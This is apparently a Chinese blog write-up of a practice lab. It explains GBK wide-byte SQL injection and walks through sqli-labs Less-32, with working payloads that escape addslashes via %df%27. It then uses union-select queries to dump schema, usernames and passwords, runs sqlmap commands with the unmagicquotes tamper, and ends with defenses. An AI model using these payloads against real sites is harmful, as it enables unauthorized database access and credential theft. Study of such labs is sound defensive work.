SQL Injection6(宽字节注入)

版权声明:本文为博主原创文章,未经博主允许不得转载。如有问题,欢迎指正。 https://blog.csdn.net/qq_26406447/article/details/89974272

SQL Injection6(宽字节注入)

前言

前面sql注入时最怕碰到的就是字符型注入,然后’被过滤,反正当时时没有什么办法解决,但宽字节注入给这样的情况带来了希望

宽字节注入原理

首先是编码,之所以产生宽字节注入,就是因为有不同的编码方式

因为php后端会对我们的输入进行转义,转义的方式通常是加上’\’,

比如 addslashes() 函数返回在预定义字符之前添加反斜杠的字符串(预定义字符是:单引号(’),双引号("),反斜杠(\),NULL)又或者在php.ini中设置magic_quotes_gpc = On

GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。
大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

这里为什么要用%df呢,我查了下,gbk是多字节字符,但长度可变,比如英文字符就是单字节

GBK中字符是一个或者两个字节,单字节00–7F这个区间和ASCII是一样的;双字节字符的第一个字节在81-FE之间,通过这个可以判断是单字节还是双字节

我觉得这里的%df是可以替换,81到FE理论上应该都可以才对(下面实验的时候测试了下81开始就是可以的,7f是不行的,前面的自然不行,所以都用%df是为什么呢?)

所以也就是在php后端过滤的时候按照ascii码来进行转义将%df%27变成了%df%5c%27,然后到sql端,gbk以两个字节来读取,%df%5c组成了一个而%27被单独出来,这样用来转义的’\'和前面的一个字节一起转成了一个gbk字,而这里%27的单引号成功的又逃了出来,困扰我们没法用单引号闭合字符注入的问题就成功解决了

环境搭建

dvwa没有宽字节的练习,这里很幸运的发现了sqli-labs这个靶场,全是sql注入的练习,很棒啊,sql注入我一直觉得是web的一个难点需要多练习
1
搭好后进首页就是上面的样子,可以看到它分了4个等级,目前是有75个练习,666

我是用docker搭的环境,因为很方便,2分钟左右环境就能搭好

docker配置sqli-labs

使用docker搭环境可以参考上面的博文

靶场练习

Less-32

2
进入页面输入?id=1,出现上面的界面

然后我们加上’,如下图,我们可以看到提示说我们的输入被转义为了1\’…
3
这里我们来试下宽字节注入,id=1%df%27 %23
4
可以看到这里的转义应该是php中的转义,还有\,这里没什么提示,这就很尬了,我刚开始尝试的时候是要返回错误信息提示的…

OK。这里我又试了下不管怎么输入都能查询成功,这时候我意识到它应该是有这样的机制,读数字然后遇到其它字符就自动过滤掉,停止读取。比如’1sdc’就会查询1,'12nx23’会查询12(好像在哪里听过这个,忘了这个叫什么原理了…)
5
可以看到上面成功报错了,为什么呢?因为宽字符注入成功了,因为宽字符的注入成功’逃避了转义所以这个单引号和前面的单引号闭合了,而后面的单引号空了出来,所以报出了语法错误。

OK,我们意识到单引号可以成功后就来常规的sql注入操作了

先order by来查看字段数。
6
可以从上图中看到4的时候报错,所以有3个字段。然后我们去掉1让前面的查询为空,然后用联合查询来判断下它输出的是哪几个字段 union select 1,2,3 %23
7
OK,可以看到2,3字段会被输出来,这时候我们就可以结合联合查询来爆库了

union select 1,database(),version() %23 看下数据库名和mysql版本
8
group_concat(table_name) from information_schema.tables where table_schema=database() #

查询数据库有哪些表
9
union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 %23

查询users表有哪些字段,这里用16进制编码把users进行编码,因为’要被过滤
10
看到有id,username, password字段

union select id,username,password from users limit 0,1%23

这里我们就可以来爆数据表了,因为每次只输出一个,所以这里我们可以用limit来控制,0是起始位置(从0开始),后面1表示每次查几个。

这里我们就算成功利用宽字节注入的漏洞

这里再试下sqlmap, sqlmap -u “http://192.168.2.123:8507/Less-32/?id=1

发现上面的这句话执行后报id不是可注入参数…

sqlmap -u “http://192.168.2.123:8507/Less-32/?id=1” --level 3 --risk 1

也没能成功,参考了别人博客后发现

sqlmap -u “http://192.168.2.123:8507/Less-32/?id=% df” --level 3 --risk 1

然后成功了… sqlmap是会带参数去查询?(这里我也尝试了不加level3是不行的)

其次还可以使用tamper来使用脚本

sqlmap有一个自带的脚本用于绕过宽字节: unmagicquotes

其它脚本详情可以参考: SqlMap 1.2.7.20 Tamper详解及使用指南

sqlmap -u “http://192.168.2.123:8507/Less-32/?id=” --tamper “unmagicquotes.py

所以上面的话运行也能成功注入

宽字节注入的防御方法:

先调用mysql_set_charset函数设置连接所使用的字符集为gbk,再调用mysql_real_escape_string来过滤用户输入。

这个方式是可行的,但有部分老的cms,在多处使用addslashes来过滤字符串,我们不可能去一个一个把addslashes都修改成mysql_real_escape_string。我们第二个解决方案就是,将character_set_client设置为binary(二进制)。

只需在所有sql语句前指定一下连接的形式是二进制:

SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary

这几个变量是什么意思?

当我们的mysql接受到客户端的数据后,会认为他的编码是character_set_client,然后会将之将换成character_set_connection的编码,然后进入具体表和字段后,再转换成字段对应的编码。

然后,当查询结果产生后,会从表和字段的编码,转换成character_set_results编码,返回给客户端。

所以,我们将character_set_client设置成binary,就不存在宽字节或多字节的问题了,所有数据以二进制的形式传递,就能有效避免宽字符注入

引用来自:宽字节注入

总结

感觉这次实验还是收获很多的

  1. 发现了sqli靶场,我感觉sql注入是web漏洞中比较难的,因为涉及到sql所以所需的知识体系就很大,特别是这里需要对数据库有一个较深的了解,dvwa的练习显然是不够的,所以这个专门针对sql的靶场很棒,不知道有没有专门针对xss的靶场
  2. 学习了宽字节注入,前面就把宽字节注入列入到了学习项,这次的实验基本是明白了其中的原理
  3. sqlmap有了更深的应用吧,前面对dvwa的靶场进行实验的时候sqlmap也没有用过tamper参数,这次算体验到了sqlmap的精髓了?
  4. 对字符编码也有了更深一步的认识

sqli还有几个宽字节的注入,剩下一起做完后,再对宽字节注入进行一下补充

参考

  1. docker配置sqli-labs
  2. SQLmap注入学习实战 —— 宽字节注入与sqlmap进阶玩法
  3. SqlMap 1.2.7.20 Tamper详解及使用指南
  4. sqlmap高级篇之绕过waf(宽字节注入)
  5. 宽字节注入
  6. SQL注入靶场—宽字节注入Rank1-3
  7. sqli-labs(十四)(宽字节注入)
  8. 宽字节注入
  9. 宽字节注入详解分析
  10. SQL注入教程——(四)宽字节注入
  11. 新手指南:DVWA-1.9全级别教程之SQL Injection

猜你喜欢

转载自blog.csdn.net/qq_26406447/article/details/89974272